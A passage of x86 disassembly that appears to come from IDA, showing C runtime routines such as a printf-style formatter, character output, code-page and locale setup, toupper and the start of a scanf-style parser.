loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2
mov esi, eax
pop ecx
cmp esi, dword_4DD144
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0A0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D190
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 2690000h
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
cmp [ebp+var_18], 1
mov dword_4DD144, esi
rep stosd
stosb
mov dword_4DD364, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD261[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0B0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D098[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD261[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD15C, 1
push eax
mov dword_4DD144, eax
call sub_42092C
lea esi, dword_43D0A4[esi]
mov edi, offset dword_4DD150
movsd
movsd
pop ecx
mov dword_4DD364, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD261[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD364, eax
mov dword_4DD15C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD15C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD150
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE4C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE4C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE4C, 1
jmp near ptr 26809F5h
; ---------------------------------------------------------------------------
db 0E1h
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE4C, 1
nop
jmp near ptr 2680A2Ch
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBE94
mov dword_4DBE4C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD260
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD150
mov dword_4DD144, eax
mov dword_4DD15C, eax
mov dword_4DD364, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD144
call near ptr 2690000h
nop
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD364
push dword_4DD144
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD364
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD364
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD261[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD160[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD261[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD160[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD261[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD160[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD261[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD160[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: ___:00423684p
; ___:004236E0p ...
cmp dword_4DD394, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD394, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD15C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD261[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D084, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDE0, ecx
mov eax, offset dword_43D190
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset dword_43D2F8
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDDC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D194[edx*8]
mov dword_4DBDDC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDDC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDDC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D588
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5A8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFAC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE50[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE50h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D084, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D084, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
